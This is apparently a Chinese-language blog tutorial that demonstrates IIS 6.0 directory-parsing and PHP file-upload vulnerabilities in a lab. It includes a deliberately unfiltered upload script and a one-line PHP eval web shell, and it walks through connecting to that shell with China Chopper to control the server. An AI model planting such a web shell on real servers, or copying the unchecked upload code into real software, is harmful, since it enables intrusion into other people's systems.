這次的內容是關於檔案上傳的漏洞和檔案解析的漏洞的內容,在下面我會進行一個關於這兩個方面的內容的實際操作以及原理介紹.
其實我一直想學的就是web滲透,但是一直都不知道web滲透都有什麼後來才知道居然就是sql注入,還有這幾個漏洞的利用就是web滲透…這不就是我好幾年前看的東西麼…
當然,其實我也學的不是很精通,只是稍微會一點,就不誇誇其談了.
先說說這兩個漏洞的區別.
一.檔案上傳漏洞
這個漏洞產生的原因是因為上傳檔案的不嚴謹所產生的.
比如我惡意上傳了一個一句話木馬,但是伺服器沒有進行對檔案的過濾,就會將上傳的檔案存放在伺服器,這樣是十分危險的.並且一般和後面的檔案解析漏洞配合在一起使用.
二.檔案解析漏洞
這個漏洞是由於伺服器的原因造成的,就比如我們一會兒要舉例的iis6.0伺服器就有這個漏洞.
簡單來說,在iis6.0伺服器上,如果伺服器有一個"xxx.asp"資料夾,那麼就會將這個檔案下面的所有檔案都當成一個asp指令碼去執行.
想想看,如果我們上傳了一個刪除系統資料庫的病毒檔案上去,然後又被解析成了某種語法去執行,是不是後果很可怕?
因此,我會特地去講一下這個東西的如何去實現的.後面我會把網站的原始碼附上.很多伺服器都存在這個漏洞,我這裡就介紹iis6.0的檔案解析漏洞,想看其他的伺服器的漏洞可以去百度一下.
工具的話我把名字發上來,自己去找一下.
實驗環境:虛擬機器器win2003一臺,軟體phpstudy,中國菜刀
前面已經說過,iis6.0的漏洞就是會把xxx.asp資料夾下的檔案都當作asp檔案執行,我們試試便知.
win2003都會自帶iis6,因此直接安裝就好,安裝教學我就不發了,百度有.
如圖,此刻已經是安裝好的.記得點到web的選項,按照圖中進行設定.
此刻我們已經搭建網站成功.用主機輸入伺服器ip即可進行存取.由於我之前搭建phpstudy佔用了80埠,我就把埠改成了82.你們在做的時候應該是不需要這一步的.
設定好以後,點選網站,然後右鍵那個預設網站,點選停用.
之後右鍵網站->新建->網站,新建一個自己的網站.我的已經建好了,就不做多餘的演示了
需要注意的是,在新建網站的時候,有個執行指令碼的選項要選上.如圖
在這個裡面點選右鍵,新增一個檔案,和資料夾,檔案名字叫做"index.html",資料夾名字隨便起一個以.asp結尾的即可,我的是wzc.asp.然後在資料夾裡面新建一個檔案,名字隨便起一個,比如1.txt.
然後在這兩個新建的1.txt和index.html都寫入以下的內容:
<%
response.write("My first ASP script!")
%>
為什麼要這麼建檔案呢?其實就是為了驗證這個漏洞的.上面的程式碼是asp的語法,在螢幕上顯示一句話.
如果檔案被解析成了asp檔案,那麼就會只顯示引號裡面的內容.
如果沒有的話,就直接把所有內容都顯示出來.
因此.我們新建了這兩個檔案用來驗證.
也就是網站的主頁.我用主機進行存取時,頁面顯示的是這樣的:
看,是不是直接把檔案當成了一個txt文字顯示了出來?
存取結果如圖:
果然,我們的程式碼被當成了asp指令碼執行了.由此驗證,我們的iis6.0確實存在這個漏洞.
檔案上傳漏洞產生的原因就不像上一個是因為伺服器產生的了,而是因為程式設計師的不嚴謹而產生的.
在一些允許上傳檔案的網站中,編寫php後臺指令碼時,不會對檔案近進行檢查,所以有一些駭客會利用這個上傳一個叫"一句話木馬"的指令碼.
這種指令碼屬於木馬,當上傳成功以後,在攻擊者的電腦使用比如"中國菜刀"之類的軟體進行連線,最終為所欲為.
當然,中國菜刀屬於比較落後的軟甲,比較先進的有冰蠍等軟體.有興趣可以百度.
由此可見,這種漏洞的危害性是非常大的.下面我會演示一下這個過程.
首先安裝phpstudy,然後在你的伺服器下新增下面兩個網站.原始碼發在下面.
檔案一:upload-file.html
<html>
<head>
<title> 檔案上傳之解析漏洞~php</title>
</head>
<body>
<form action="upload.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="提交" />
</form>
</body>
</html>
檔案二:upload.php
<?php
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
}
?>
放在如圖的位置.
遠端存取以下,發現成功.
我們隨便上傳一個php檔案.
…連點防禦都沒有(從那個php程式碼就可以看出,不過我是從攻擊者的角度出發的,由此可證明這個php程式碼有檔案上傳的漏洞).
如圖,在伺服器下有個upload檔案,裡面就是我們上傳的檔案.
這個php一句話木馬只是用來測試的,是為了看看能不能上傳成功.現在我把一句話木馬原始碼奉上.
<?php eval($_POST["wzc"]);?>
這段程式碼的原理我就不解釋了.目的是為了方便使中國菜刀進行連線.你需要修改的使引號裡面的內容,這個是後面中國菜刀連線是的密碼.
如圖,這個是我的中國菜刀的介面,按照圖中的方式設定.
上面把你的一句話木馬的網站上的路徑填上.我當時為了方便,把名字改成了"1.php".後面的空填剛剛的密碼,下面記得選擇php(eval)程式碼型別.連線以後,右鍵檔案管理,會產生如圖的效果.
看,現在我們就進到伺服器裡面了,接下來想怎麼搞就怎麼搞了.
好了,就寫這麼多吧.
剩餘的也懶的想了,如果還想繼續看一些東西的話,可以關注我,我後續會發一些比如資料庫注入,軟體破解之類的東西.
有興趣的可以加我qq:1392969921